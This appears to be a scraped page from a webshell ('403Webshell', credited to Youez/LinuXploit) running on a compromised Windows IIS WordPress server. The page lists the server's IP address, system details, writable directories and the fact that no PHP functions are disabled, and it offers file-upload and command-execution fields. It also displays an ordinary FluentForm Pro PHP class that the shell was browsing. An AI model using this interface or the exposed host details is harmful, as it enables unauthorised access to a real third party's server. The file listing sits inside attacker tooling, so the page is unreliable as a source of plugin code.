403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/AIWEBSTATION/wp-content/plugins/fluentformpro/src/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/AIWEBSTATION/wp-content/plugins/fluentformpro/src/classes/Calculation.php
<?php
namespace FluentFormPro\classes;

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}

class Calculation
{
    public function enqueueScripts()
    {
        wp_enqueue_script('fluentform-advanced');
        wp_enqueue_script('fluent-math-expression', FLUENTFORMPRO_DIR_URL.'public/libs/math-expression.min.js', array(), '1.2.17');
    }

    public function localizeCalculationMessages($form)
    {
        // Add calculation field messages for translation
        $calculationMessages = [
            'calculation_error' => __('Calculation error occurred', 'fluentformpro'),
            'invalid_formula' => __('Invalid formula provided', 'fluentformpro'),
            'division_by_zero' => __('Division by zero error', 'fluentformpro')
        ];

        $calculationMessages = apply_filters('fluentform/calculation_field_messages', $calculationMessages, $form);

        // Use form-specific variable name to match JavaScript expectations
        wp_localize_script('fluentform-advanced', 'fluentform_calculation_messages_' . $form->id, $calculationMessages);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit